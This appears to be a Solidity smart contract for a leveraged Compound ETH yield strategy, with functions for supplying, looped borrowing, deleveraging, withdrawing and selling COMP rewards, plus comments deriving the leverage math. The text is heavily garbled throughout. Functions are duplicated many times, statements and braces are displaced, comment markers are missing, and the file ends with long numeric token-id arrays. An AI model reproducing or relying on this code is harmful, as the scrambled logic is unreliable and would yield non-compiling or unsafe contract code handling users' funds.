// back to vault and then depositing into this strategy
// Here we simply increment totalDebt to save gas
totalDebt = total;
emit Skim(profit);
}
/*
@notice Exit from strategy, transfer all ETH back to vault
unless forceExit = true
*/
function exit() external override onlyAuthorized {
if (forceExit) {
return;
}
_claimRewards();
_withdrawAll();
}
/*
@notice Transfer token accidentally sent here to admin
@param _token Address of token to transfer
*/
function sweep(address _token) external override onlyAdmin {
require(_token != cToken, "protected token");
require(_token != COMP, "protected token");
IERC20(_token).safeTransfer(admin, IERC20(_token).balanceOf(address(this)));
}
} | File: contracts/strategies/StrategyCompLevEth.sol// Uniswap Compound buffer to stay below market collateral ratio, scaled up by 1e18 | contract StrategyCompLevEth is StrategyETH_V3 {
event Deposit(uint amount);
event Withdraw(uint amount);
event Harvest(uint profit);
event Skim(uint profit);
address private constant UNISWAP = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address private constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address private constant COMPTROLLER = 0x3d9819210A31b4961b30EF54bE2aeD79B9c9Cd3B;
address private constant COMP = 0xc00e94Cb662C3520282E6f5717214004A7f26888;
address private immutable cToken;
uint public buffer = 0.04 * 1e18;
constructor(
address _controller,
address _vault,
address _cToken,
address _keeper
function totalAssets() external view virtual override returns (uint);
function deposit() external payable virtual override;
function withdraw(uint) external virtual override;
function withdrawAll() external virtual override;
function harvest() external virtual override;
function skim() external virtual override;
function exit() external virtual override;
function sweep(address) external virtual override;
}
}
}
}
APY estimate
c = collateral ratio
i_s = supply interest rate (APY)
i_b = borrow interest rate (APY)
c_s = supply COMP reward (APY)
c_b = borrow COMP reward (APY)
leverage APY = 1 / (1 - c) * (i_s + c_s - c * (i_b - c_b))
plugging some numbers
31.08 = 4 * (7.01 + 4 - 0.75 * (9.08 - 4.76))
State transitions and valid transactions
### State ###
buff = buffer
s = supplied
b = borrowed
### Transactions ###
dl = deleverage
l = leverage
w = withdraw
d = deposit
s(x) = set butter to x
### State Transitions ###
s(max)
(buf = max, s > 0, b > 0) <--------- (buf = min, s > 0, b > 0)
| | ^
| dl, w | dl, w | l, d
| | |
V V |
(buf = max, s > 0, b = 0) ---------> (buf = min, s > 0, b = 0)
s(min)
) public StrategyETH_V3(_controller, _vault, _keeper) {
require(_cToken != address(0), "cToken = zero address");
cToken = _cToken;
IERC20(COMP).safeApprove(UNISWAP, type(uint).max);
}
receive() external payable {
require(msg.sender != vault, "msg.sender = vault");
}
function _sendEthToVault(uint _amount) private {
require(sent, "Send ETH failed");
}
(bool sent, ) = vault.call{value: _amount}("");
function _increaseDebt(uint _amount) private {
totalDebt = totalDebt.add(_amount);
}
function _decreaseDebt(uint _amount) private {
if (_amount >= totalDebt) {
totalDebt = 0;
totalDebt -= _amount;
}
_sendEthToVault(_amount);
}
function _decreaseDebt(uint _amount) private {
if (_amount >= totalDebt) {
totalDebt = 0;
totalDebt -= _amount;
}
_sendEthToVault(_amount);
}
} else {
function _totalAssets() private view returns (uint) {
(uint error, uint cTokenBal, uint borrowed, uint exchangeRate) =
CEth(cToken).getAccountSnapshot(address(this));
if (error > 0) {
return 0;
}
uint supplied = cTokenBal.mul(exchangeRate) / 1e18;
if (supplied < borrowed) {
return 0;
}
uint bal = address(this).balance;
}
function _totalAssets() private view returns (uint) {
(uint error, uint cTokenBal, uint borrowed, uint exchangeRate) =
CEth(cToken).getAccountSnapshot(address(this));
if (error > 0) {
return 0;
}
uint supplied = cTokenBal.mul(exchangeRate) / 1e18;
if (supplied < borrowed) {
return 0;
}
uint bal = address(this).balance;
}
function _totalAssets() private view returns (uint) {
(uint error, uint cTokenBal, uint borrowed, uint exchangeRate) =
CEth(cToken).getAccountSnapshot(address(this));
if (error > 0) {
return 0;
}
uint supplied = cTokenBal.mul(exchangeRate) / 1e18;
if (supplied < borrowed) {
return 0;
}
uint bal = address(this).balance;
}
return bal.add(supplied - borrowed);
@notice Returns amount of ETH locked in this contract
function totalAssets() external view override returns (uint) {
return _totalAssets();
}
buffer = 1e18 means safe collateral ratio = 0
@dev buffer = 0 means safe collateral ratio = market collateral ratio
function setBuffer(uint _buffer) external onlyAuthorized {
require(_buffer > 0 && _buffer <= 1e18, "buffer");
buffer = _buffer;
}
function _getMarketCollateralRatio() private view returns (uint) {
This can be changed by Compound Governance, with a minimum waiting
period of five days
(, uint col, ) = Comptroller(COMPTROLLER).markets(cToken);
return col;
}
function _getSafeCollateralRatio(uint _marketCol) private view returns (uint) {
if (_marketCol > buffer) {
return _marketCol - buffer;
}
return 0;
}
function _getSafeCollateralRatio(uint _marketCol) private view returns (uint) {
if (_marketCol > buffer) {
return _marketCol - buffer;
}
return 0;
}
function _getSupplied() private returns (uint) {
return CEth(cToken).balanceOfUnderlying(address(this));
}
function _getBorrowed() private returns (uint) {
return CEth(cToken).borrowBalanceCurrent(address(this));
}
function getLivePosition()
external
returns (
uint supplied,
uint borrowed,
uint marketCol,
uint safeCol
)
{
supplied = _getSupplied();
borrowed = _getBorrowed();
marketCol = _getMarketCollateralRatio();
safeCol = _getSafeCollateralRatio(marketCol);
}
function getCachedPosition()
external
view
returns (
uint supplied,
uint borrowed,
uint marketCol,
uint safeCol
)
{
(, uint cTokenBal, uint _borrowed, uint exchangeRate) =
CEth(cToken).getAccountSnapshot(address(this));
supplied = cTokenBal.mul(exchangeRate) / 1e18;
borrowed = _borrowed;
marketCol = _getMarketCollateralRatio();
safeCol = _getSafeCollateralRatio(marketCol);
}
modifier checkCollateralRatio() {
_;
uint supplied = _getSupplied();
uint borrowed = _getBorrowed();
uint marketCol = _getMarketCollateralRatio();
uint safeCol = _getSafeCollateralRatio(marketCol);
uint max = supplied.mul(safeCol) / 1e18;
require(borrowed <= max, "borrowed > max");
}
function _supply(uint _amount) private {
}
CEth(cToken).mint{value: _amount}();
function supply(uint _amount) external onlyAdmin {
_supply(_amount);
}
function _borrow(uint _amount) private {
require(CEth(cToken).borrow(_amount) == 0, "borrow");
}
function borrow(uint _amount) external onlyAdmin {
_borrow(_amount);
}
function _repay(uint _amount) private {
}
CEth(cToken).repayBorrow{value: _amount}();
function repay(uint _amount) external onlyAdmin {
_repay(_amount);
}
function _redeem(uint _amount) private {
require(CEth(cToken).redeemUnderlying(_amount) == 0, "redeem");
}
function redeem(uint _amount) external onlyAdmin {
_redeem(_amount);
}
function _getMaxLeverageRatio(uint _col) private pure returns (uint) {
c = collateral ratio
geometric series converges to
1 / (1 - c)
return uint(1e36).div(uint(1e18).sub(_col));
}
function _getBorrowAmount(
uint _supplied,
uint _borrowed,
uint _col
) private pure returns (uint) {
c = collateral ratio
s = supplied
b = borrowed
x = amount to borrow
(b + x) / s <= c
becomes
x <= sc - b
uint max = _supplied.mul(_col) / 1e18;
if (_borrowed >= max) {
return 0;
}
return max - _borrowed;
}
S_0 supplied and B_0 borrowed
c = collateral ratio
S_i = supplied after i iterations
B_i = borrowed after i iterations
S_0 = current supplied
B_0 = current borrowed
borrowed and supplied after n iterations
B_n = cS_(n-1)
S_n = S_(n-1) + (cS_(n-1) - B_(n-1))
you can prove using algebra and induction that
B_n / S_n <= c
S_n - S_(n-1) = c^(n-1) * (cS_0 - B_0)
S_n = S_0 + sum (c^i * (cS_0 - B_0)), 0 <= i <= n - 1
= S_0 + (1 - c^n) / (1 - c)
S_n <= S_0 + (cS_0 - B_0) / (1 - c)
function _getBorrowAmount(
uint _supplied,
uint _borrowed,
uint _col
) private pure returns (uint) {
c = collateral ratio
s = supplied
b = borrowed
x = amount to borrow
(b + x) / s <= c
becomes
x <= sc - b
uint max = _supplied.mul(_col) / 1e18;
if (_borrowed >= max) {
return 0;
}
return max - _borrowed;
}
S_0 supplied and B_0 borrowed
c = collateral ratio
S_i = supplied after i iterations
B_i = borrowed after i iterations
S_0 = current supplied
B_0 = current borrowed
borrowed and supplied after n iterations
B_n = cS_(n-1)
S_n = S_(n-1) + (cS_(n-1) - B_(n-1))
you can prove using algebra and induction that
B_n / S_n <= c
S_n - S_(n-1) = c^(n-1) * (cS_0 - B_0)
S_n = S_0 + sum (c^i * (cS_0 - B_0)), 0 <= i <= n - 1
= S_0 + (1 - c^n) / (1 - c)
S_n <= S_0 + (cS_0 - B_0) / (1 - c)
Find total supply S_n after n iterations starting with
function _leverage(uint _targetSupply) private checkCollateralRatio {
if (buffer >= 1e18) {
return;
}
uint supplied = _getSupplied();
uint borrowed = _getBorrowed();
require(_targetSupply >= unleveraged, "leverage");
uint marketCol = _getMarketCollateralRatio();
uint safeCol = _getSafeCollateralRatio(marketCol);
uint lev = _getMaxLeverageRatio(safeCol);
if (_targetSupply >= max) {
_targetSupply = max;
}
uint i;
while (supplied < _targetSupply) {
require(i < 25, "max iteration");
uint borrowAmount =
_getBorrowAmount(supplied, borrowed, marketCol).mul(9999) / 10000;
require(borrowAmount > 0, "borrow = 0");
if (supplied.add(borrowAmount) > _targetSupply) {
borrowAmount = _targetSupply.sub(supplied);
}
_borrow(borrowAmount);
i++;
}
}
function _leverage(uint _targetSupply) private checkCollateralRatio {
if (buffer >= 1e18) {
return;
}
uint supplied = _getSupplied();
uint borrowed = _getBorrowed();
require(_targetSupply >= unleveraged, "leverage");
uint marketCol = _getMarketCollateralRatio();
uint safeCol = _getSafeCollateralRatio(marketCol);
uint lev = _getMaxLeverageRatio(safeCol);
if (_targetSupply >= max) {
_targetSupply = max;
}
uint i;
while (supplied < _targetSupply) {
require(i < 25, "max iteration");
uint borrowAmount =
_getBorrowAmount(supplied, borrowed, marketCol).mul(9999) / 10000;
require(borrowAmount > 0, "borrow = 0");
if (supplied.add(borrowAmount) > _targetSupply) {
borrowAmount = _targetSupply.sub(supplied);
}
_borrow(borrowAmount);
i++;
}
}
uint max = (unleveraged.mul(lev) / 1e18).mul(9900) / 10000;
function _leverage(uint _targetSupply) private checkCollateralRatio {
if (buffer >= 1e18) {
return;
}
uint supplied = _getSupplied();
uint borrowed = _getBorrowed();
require(_targetSupply >= unleveraged, "leverage");
uint marketCol = _getMarketCollateralRatio();
uint safeCol = _getSafeCollateralRatio(marketCol);
uint lev = _getMaxLeverageRatio(safeCol);
if (_targetSupply >= max) {
_targetSupply = max;
}
uint i;
while (supplied < _targetSupply) {
require(i < 25, "max iteration");
uint borrowAmount =
_getBorrowAmount(supplied, borrowed, marketCol).mul(9999) / 10000;
require(borrowAmount > 0, "borrow = 0");
if (supplied.add(borrowAmount) > _targetSupply) {
borrowAmount = _targetSupply.sub(supplied);
}
_borrow(borrowAmount);
i++;
}
}
function _leverage(uint _targetSupply) private checkCollateralRatio {
if (buffer >= 1e18) {
return;
}
uint supplied = _getSupplied();
uint borrowed = _getBorrowed();
require(_targetSupply >= unleveraged, "leverage");
uint marketCol = _getMarketCollateralRatio();
uint safeCol = _getSafeCollateralRatio(marketCol);
uint lev = _getMaxLeverageRatio(safeCol);
if (_targetSupply >= max) {
_targetSupply = max;
}
uint i;
while (supplied < _targetSupply) {
require(i < 25, "max iteration");
uint borrowAmount =
_getBorrowAmount(supplied, borrowed, marketCol).mul(9999) / 10000;
require(borrowAmount > 0, "borrow = 0");
if (supplied.add(borrowAmount) > _targetSupply) {
borrowAmount = _targetSupply.sub(supplied);
}
_borrow(borrowAmount);
i++;
}
}
function _leverage(uint _targetSupply) private checkCollateralRatio {
if (buffer >= 1e18) {
return;
}
uint supplied = _getSupplied();
uint borrowed = _getBorrowed();
require(_targetSupply >= unleveraged, "leverage");
uint marketCol = _getMarketCollateralRatio();
uint safeCol = _getSafeCollateralRatio(marketCol);
uint lev = _getMaxLeverageRatio(safeCol);
if (_targetSupply >= max) {
_targetSupply = max;
}
uint i;
while (supplied < _targetSupply) {
require(i < 25, "max iteration");
uint borrowAmount =
_getBorrowAmount(supplied, borrowed, marketCol).mul(9999) / 10000;
require(borrowAmount > 0, "borrow = 0");
if (supplied.add(borrowAmount) > _targetSupply) {
borrowAmount = _targetSupply.sub(supplied);
}
_borrow(borrowAmount);
i++;
}
}
_supply(borrowAmount);
supplied = supplied.add(borrowAmount);
borrowed = borrowed.add(borrowAmount);
function leverage(uint _targetSupply) external onlyAuthorized {
_leverage(_targetSupply);
}
function _deposit() private {
uint bal = address(this).balance;
if (bal > 0) {
_supply(bal);
_leverage(type(uint).max);
}
}
function _deposit() private {
uint bal = address(this).balance;
if (bal > 0) {
_supply(bal);
_leverage(type(uint).max);
}
}
@notice Deposit ETH into this strategy
function deposit() external payable override onlyAuthorized {
require(msg.value > 0, "deposit = 0");
_increaseDebt(msg.value);
_deposit();
emit Deposit(msg.value);
}
function _getRedeemAmount(
uint _supplied,
uint _borrowed,
uint _col
) private pure returns (uint) {
c = collateral ratio
s = supplied
b = borrowed
r = redeem
b / (s - r) <= c
becomes
r <= s - b / c
uint min = _borrowed.mul(1e18).div(_col);
if (_supplied <= min) {
return 0;
}
return _supplied - min;
}
S_n supplied and B_n borrowed
c = collateral ratio
S_n = current supplied
B_n = current borrowed
S_(n-i) = supplied after i iterations
B_(n-i) = borrowed after i iterations
R_(n-i) = Redeemable after i iterations
= S_(n-i) - B_(n-i) / c
where B_(n-i) / c = min supply needed to borrow B_(n-i)
For 0 <= k <= n - 1
S_k = S_(k+1) - R_(k+1)
B_k = B_(k+1) - R_(k+1)
and
S_k - B_k = S_(k+1) - B_(k+1)
so
S_0 - B_0 = S_1 - S_2 = ... = S_n - B_n
S_0 has 0 leverage so B_0 = 0 and we get
S_0 = S_0 - B_0 = S_n - B_n
------------------------------------------
Find S_(n-k), amount of supply, after k iterations starting with
S_n supplied and B_n borrowed
with algebra and induction you can derive that
R_(n-k) = R_n / c^k
S_(n-k) = S_n - sum R_(n-i), 0 <= i <= k - 1
= S_n - R_n * ((1 - 1/c^k) / (1 - 1/c))
Equation above is valid for S_(n - k) k < n
function _getRedeemAmount(
uint _supplied,
uint _borrowed,
uint _col
) private pure returns (uint) {
c = collateral ratio
s = supplied
b = borrowed
r = redeem
b / (s - r) <= c
becomes
r <= s - b / c
uint min = _borrowed.mul(1e18).div(_col);
if (_supplied <= min) {
return 0;
}
return _supplied - min;
}
S_n supplied and B_n borrowed
c = collateral ratio
S_n = current supplied
B_n = current borrowed
S_(n-i) = supplied after i iterations
B_(n-i) = borrowed after i iterations
R_(n-i) = Redeemable after i iterations
= S_(n-i) - B_(n-i) / c
where B_(n-i) / c = min supply needed to borrow B_(n-i)
For 0 <= k <= n - 1
S_k = S_(k+1) - R_(k+1)
B_k = B_(k+1) - R_(k+1)
and
S_k - B_k = S_(k+1) - B_(k+1)
so
S_0 - B_0 = S_1 - S_2 = ... = S_n - B_n
S_0 has 0 leverage so B_0 = 0 and we get
S_0 = S_0 - B_0 = S_n - B_n
------------------------------------------
Find S_(n-k), amount of supply, after k iterations starting with
S_n supplied and B_n borrowed
with algebra and induction you can derive that
R_(n-k) = R_n / c^k
S_(n-k) = S_n - sum R_(n-i), 0 <= i <= k - 1
= S_n - R_n * ((1 - 1/c^k) / (1 - 1/c))
Equation above is valid for S_(n - k) k < n
Find S_0, amount of supply with 0 leverage, after n iterations starting with
function _deleverage(uint _targetSupply) private checkCollateralRatio {
uint supplied = _getSupplied();
uint borrowed = _getBorrowed();
uint unleveraged = supplied.sub(borrowed);
require(_targetSupply <= supplied, "deleverage");
uint marketCol = _getMarketCollateralRatio();
if (_targetSupply <= unleveraged) {
_targetSupply = unleveraged;
}
uint i;
while (supplied > _targetSupply) {
require(i < 25, "max iteration");
uint redeemAmount =
(_getRedeemAmount(supplied, borrowed, marketCol)).mul(9999) / 10000;
require(redeemAmount > 0, "redeem = 0");
if (supplied.sub(redeemAmount) < _targetSupply) {
redeemAmount = supplied.sub(_targetSupply);
}
_redeem(redeemAmount);
_repay(redeemAmount);
i++;
}
}
function _deleverage(uint _targetSupply) private checkCollateralRatio {
uint supplied = _getSupplied();
uint borrowed = _getBorrowed();
uint unleveraged = supplied.sub(borrowed);
require(_targetSupply <= supplied, "deleverage");
uint marketCol = _getMarketCollateralRatio();
if (_targetSupply <= unleveraged) {
_targetSupply = unleveraged;
}
uint i;
while (supplied > _targetSupply) {
require(i < 25, "max iteration");
uint redeemAmount =
(_getRedeemAmount(supplied, borrowed, marketCol)).mul(9999) / 10000;
require(redeemAmount > 0, "redeem = 0");
if (supplied.sub(redeemAmount) < _targetSupply) {
redeemAmount = supplied.sub(_targetSupply);
}
_redeem(redeemAmount);
_repay(redeemAmount);
i++;
}
}
function _deleverage(uint _targetSupply) private checkCollateralRatio {
uint supplied = _getSupplied();
uint borrowed = _getBorrowed();
uint unleveraged = supplied.sub(borrowed);
require(_targetSupply <= supplied, "deleverage");
uint marketCol = _getMarketCollateralRatio();
if (_targetSupply <= unleveraged) {
_targetSupply = unleveraged;
}
uint i;
while (supplied > _targetSupply) {
require(i < 25, "max iteration");
uint redeemAmount =
(_getRedeemAmount(supplied, borrowed, marketCol)).mul(9999) / 10000;
require(redeemAmount > 0, "redeem = 0");
if (supplied.sub(redeemAmount) < _targetSupply) {
redeemAmount = supplied.sub(_targetSupply);
}
_redeem(redeemAmount);
_repay(redeemAmount);
i++;
}
}
function _deleverage(uint _targetSupply) private checkCollateralRatio {
uint supplied = _getSupplied();
uint borrowed = _getBorrowed();
uint unleveraged = supplied.sub(borrowed);
require(_targetSupply <= supplied, "deleverage");
uint marketCol = _getMarketCollateralRatio();
if (_targetSupply <= unleveraged) {
_targetSupply = unleveraged;
}
uint i;
while (supplied > _targetSupply) {
require(i < 25, "max iteration");
uint redeemAmount =
(_getRedeemAmount(supplied, borrowed, marketCol)).mul(9999) / 10000;
require(redeemAmount > 0, "redeem = 0");
if (supplied.sub(redeemAmount) < _targetSupply) {
redeemAmount = supplied.sub(_targetSupply);
}
_redeem(redeemAmount);
_repay(redeemAmount);
i++;
}
}
supplied = supplied.sub(redeemAmount);
borrowed = borrowed.sub(redeemAmount);
function deleverage(uint _targetSupply) external onlyAuthorized {
_deleverage(_targetSupply);
}
function _withdraw(uint _amount) private returns (uint) {
uint bal = address(this).balance;
if (bal >= _amount) {
return _amount;
}
uint redeemAmount = _amount - bal;
s = supplied
b = borrowed
r = amount to redeem
x = amount to repay
where
r <= s - b (can't redeem more than unleveraged supply)
and
x <= b (can't repay more than borrowed)
and
(b - x) / (s - x - r) <= c (stay below c after redeem and repay)
so pick x such that
(b - cs + cr) / (1 - c) <= x <= b
when b <= cs left side of equation above <= cr / (1 - c) so pick x such that
cr / (1 - c) <= x <= b
uint borrowed = _getBorrowed();
uint marketCol = _getMarketCollateralRatio();
uint safeCol = _getSafeCollateralRatio(marketCol);
uint unleveraged = supplied.sub(borrowed);
if (redeemAmount > unleveraged) {
redeemAmount = unleveraged;
}
if (repayAmount > borrowed) {
repayAmount = borrowed;
}
_deleverage(supplied.sub(repayAmount));
_redeem(redeemAmount);
uint balAfter = address(this).balance;
if (balAfter < _amount) {
return balAfter;
}
return _amount;
}
@param _amount Amount of ETH to withdraw
@dev Caller should implement guard against slippage
function _withdraw(uint _amount) private returns (uint) {
uint bal = address(this).balance;
if (bal >= _amount) {
return _amount;
}
uint redeemAmount = _amount - bal;
s = supplied
b = borrowed
r = amount to redeem
x = amount to repay
where
r <= s - b (can't redeem more than unleveraged supply)
and
x <= b (can't repay more than borrowed)
and
(b - x) / (s - x - r) <= c (stay below c after redeem and repay)
so pick x such that
(b - cs + cr) / (1 - c) <= x <= b
when b <= cs left side of equation above <= cr / (1 - c) so pick x such that
cr / (1 - c) <= x <= b
uint borrowed = _getBorrowed();
uint marketCol = _getMarketCollateralRatio();
uint safeCol = _getSafeCollateralRatio(marketCol);
uint unleveraged = supplied.sub(borrowed);
if (redeemAmount > unleveraged) {
redeemAmount = unleveraged;
}
if (repayAmount > borrowed) {
repayAmount = borrowed;
}
_deleverage(supplied.sub(repayAmount));
_redeem(redeemAmount);
uint balAfter = address(this).balance;
if (balAfter < _amount) {
return balAfter;
}
return _amount;
}
@param _amount Amount of ETH to withdraw
@dev Caller should implement guard against slippage
c = collateral ratio
uint supplied = _getSupplied();
function _withdraw(uint _amount) private returns (uint) {
uint bal = address(this).balance;
if (bal >= _amount) {
return _amount;
}
uint redeemAmount = _amount - bal;
s = supplied
b = borrowed
r = amount to redeem
x = amount to repay
where
r <= s - b (can't redeem more than unleveraged supply)
and
x <= b (can't repay more than borrowed)
and
(b - x) / (s - x - r) <= c (stay below c after redeem and repay)
so pick x such that
(b - cs + cr) / (1 - c) <= x <= b
when b <= cs left side of equation above <= cr / (1 - c) so pick x such that
cr / (1 - c) <= x <= b
uint borrowed = _getBorrowed();
uint marketCol = _getMarketCollateralRatio();
uint safeCol = _getSafeCollateralRatio(marketCol);
uint unleveraged = supplied.sub(borrowed);
if (redeemAmount > unleveraged) {
redeemAmount = unleveraged;
}
if (repayAmount > borrowed) {
repayAmount = borrowed;
}
_deleverage(supplied.sub(repayAmount));
_redeem(redeemAmount);
uint balAfter = address(this).balance;
if (balAfter < _amount) {
return balAfter;
}
return _amount;
}
@param _amount Amount of ETH to withdraw
@dev Caller should implement guard against slippage
uint repayAmount = redeemAmount.mul(safeCol).div(uint(1e18).sub(safeCol));
function _withdraw(uint _amount) private returns (uint) {
uint bal = address(this).balance;
if (bal >= _amount) {
return _amount;
}
uint redeemAmount = _amount - bal;
s = supplied
b = borrowed
r = amount to redeem
x = amount to repay
where
r <= s - b (can't redeem more than unleveraged supply)
and
x <= b (can't repay more than borrowed)
and
(b - x) / (s - x - r) <= c (stay below c after redeem and repay)
so pick x such that
(b - cs + cr) / (1 - c) <= x <= b
when b <= cs left side of equation above <= cr / (1 - c) so pick x such that
cr / (1 - c) <= x <= b
uint borrowed = _getBorrowed();
uint marketCol = _getMarketCollateralRatio();
uint safeCol = _getSafeCollateralRatio(marketCol);
uint unleveraged = supplied.sub(borrowed);
if (redeemAmount > unleveraged) {
redeemAmount = unleveraged;
}
if (repayAmount > borrowed) {
repayAmount = borrowed;
}
_deleverage(supplied.sub(repayAmount));
_redeem(redeemAmount);
uint balAfter = address(this).balance;
if (balAfter < _amount) {
return balAfter;
}
return _amount;
}
@param _amount Amount of ETH to withdraw
@dev Caller should implement guard against slippage
function _withdraw(uint _amount) private returns (uint) {
uint bal = address(this).balance;
if (bal >= _amount) {
return _amount;
}
uint redeemAmount = _amount - bal;
s = supplied
b = borrowed
r = amount to redeem
x = amount to repay
where
r <= s - b (can't redeem more than unleveraged supply)
and
x <= b (can't repay more than borrowed)
and
(b - x) / (s - x - r) <= c (stay below c after redeem and repay)
so pick x such that
(b - cs + cr) / (1 - c) <= x <= b
when b <= cs left side of equation above <= cr / (1 - c) so pick x such that
cr / (1 - c) <= x <= b
uint borrowed = _getBorrowed();
uint marketCol = _getMarketCollateralRatio();
uint safeCol = _getSafeCollateralRatio(marketCol);
uint unleveraged = supplied.sub(borrowed);
if (redeemAmount > unleveraged) {
redeemAmount = unleveraged;
}
if (repayAmount > borrowed) {
repayAmount = borrowed;
}
_deleverage(supplied.sub(repayAmount));
_redeem(redeemAmount);
uint balAfter = address(this).balance;
if (balAfter < _amount) {
return balAfter;
}
return _amount;
}
@param _amount Amount of ETH to withdraw
@dev Caller should implement guard against slippage
@notice Withdraw undelying token to vault
function withdraw(uint _amount) external override onlyAuthorized {
require(_amount > 0, "withdraw = 0");
uint available = _withdraw(_amount);
if (available > 0) {
_decreaseDebt(available);
}
emit Withdraw(available);
}
function withdraw(uint _amount) external override onlyAuthorized {
require(_amount > 0, "withdraw = 0");
uint available = _withdraw(_amount);
if (available > 0) {
_decreaseDebt(available);
}
emit Withdraw(available);
}
function _withdrawAll() private {
_withdraw(type(uint).max);
uint bal = address(this).balance;
if (bal > 0) {
_sendEthToVault(bal);
totalDebt = 0;
}
emit Withdraw(bal);
}
@dev Caller should implement guard agains slippage
function _withdrawAll() private {
_withdraw(type(uint).max);
uint bal = address(this).balance;
if (bal > 0) {
_sendEthToVault(bal);
totalDebt = 0;
}
emit Withdraw(bal);
}
@dev Caller should implement guard agains slippage
@notice Withdraw all ETH to vault
function withdrawAll() external override onlyAuthorized {
_withdrawAll();
}
@dev Uniswap fails with zero address so no check is necessary here
function _swapToEth(address _from, uint _amount) private {
address[] memory path = new address[](2);
path[0] = _from;
path[1] = WETH;
Uniswap(UNISWAP).swapExactTokensForETH(
_amount,
1,
path,
address(this),
block.timestamp
);
}
function _claimRewards() private {
address[] memory cTokens = new address[](1);
cTokens[0] = cToken;
Comptroller(COMPTROLLER).claimComp(address(this), cTokens);
uint compBal = IERC20(COMP).balanceOf(address(this));
if (compBal > 0) {
_swapToEth(COMP, compBal);
}
}
function _claimRewards() private {
address[] memory cTokens = new address[](1);
cTokens[0] = cToken;
Comptroller(COMPTROLLER).claimComp(address(this), cTokens);
uint compBal = IERC20(COMP).balanceOf(address(this));
if (compBal > 0) {
_swapToEth(COMP, compBal);
}
}
@notice Claim and sell any rewards
function harvest() external override onlyAuthorized {
_claimRewards();
uint bal = address(this).balance;
if (bal > 0) {
uint fee = bal.mul(performanceFee) / PERFORMANCE_FEE_MAX;
if (fee > 0) {
address treasury = IController(controller).treasury();
require(treasury != address(0), "treasury = zero address");
require(sent, "Send ETH failed");
}
_supply(profit);
emit Harvest(profit);
}
}
function harvest() external override onlyAuthorized {
_claimRewards();
uint bal = address(this).balance;
if (bal > 0) {
uint fee = bal.mul(performanceFee) / PERFORMANCE_FEE_MAX;
if (fee > 0) {
address treasury = IController(controller).treasury();
require(treasury != address(0), "treasury = zero address");
require(sent, "Send ETH failed");
}
_supply(profit);
emit Harvest(profit);
}
}
function harvest() external override onlyAuthorized {
_claimRewards();
uint bal = address(this).balance;
if (bal > 0) {
uint fee = bal.mul(performanceFee) / PERFORMANCE_FEE_MAX;
if (fee > 0) {
address treasury = IController(controller).treasury();
require(treasury != address(0), "treasury = zero address");
require(sent, "Send ETH failed");
}
_supply(profit);
emit Harvest(profit);
}
}
(bool sent, ) = treasury.call{value: fee}("");
uint profit = bal.sub(fee);
@notice Increase total debt if profit > 0
function skim() external override onlyAuthorized {
uint bal = address(this).balance;
uint supplied = _getSupplied();
uint borrowed = _getBorrowed();
uint unleveraged = supplied.sub(borrowed);
uint total = bal.add(unleveraged);
require(total > totalDebt, "total <= debt");
uint profit = total - totalDebt;
totalDebt = total;
emit Skim(profit);
}
unless forceExit = true
@notice Exit from strategy, transfer all ETH back to vault
function exit() external override onlyAuthorized {
if (forceExit) {
return;
}
_claimRewards();
_withdrawAll();
}
@param _token Address of token to transfer
function exit() external override onlyAuthorized {
if (forceExit) {
return;
}
_claimRewards();
_withdrawAll();
}
@param _token Address of token to transfer
@notice Transfer token accidentally sent here to admin
function sweep(address _token) external override onlyAdmin {
require(_token != cToken, "protected token");
require(_token != COMP, "protected token");
IERC20(_token).safeTransfer(admin, IERC20(_token).balanceOf(address(this)));
}
} | 2,382,328 | [
1,
812,
30,
20092,
19,
701,
15127,
19,
4525,
2945,
1682,
90,
41,
451,
18,
18281,
759,
1351,
291,
91,
438,
225,
21327,
225,
1613,
358,
23449,
5712,
13667,
4508,
2045,
287,
7169,
16,
12304,
731,
635,
404,
73,
2643,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
16351,
19736,
2945,
1682,
90,
41,
451,
353,
19736,
1584,
44,
67,
58,
23,
288,
203,
565,
871,
4019,
538,
305,
12,
11890,
3844,
1769,
203,
565,
871,
3423,
9446,
12,
11890,
3844,
1769,
203,
565,
871,
670,
297,
26923,
12,
11890,
450,
7216,
1769,
203,
565,
871,
10362,
381,
12,
11890,
450,
7216,
1769,
203,
203,
565,
1758,
3238,
5381,
5019,
5127,
59,
2203,
273,
374,
92,
27,
69,
26520,
72,
4313,
5082,
38,
24,
71,
42,
25,
5520,
27,
5520,
72,
42,
22,
39,
25,
72,
37,
7358,
24,
71,
26,
6162,
42,
3247,
5482,
40,
31,
203,
565,
1758,
3238,
5381,
678,
1584,
44,
273,
374,
14626,
3103,
7598,
37,
5520,
70,
3787,
23,
8090,
28,
40,
20,
37,
20,
73,
25,
39,
24,
42,
5324,
73,
1880,
29,
6840,
23,
39,
27,
4313,
39,
71,
22,
31,
203,
203,
565,
1758,
3238,
5381,
5423,
1856,
25353,
273,
374,
92,
23,
72,
10689,
15561,
2163,
37,
6938,
70,
7616,
9498,
70,
5082,
26897,
6564,
70,
41,
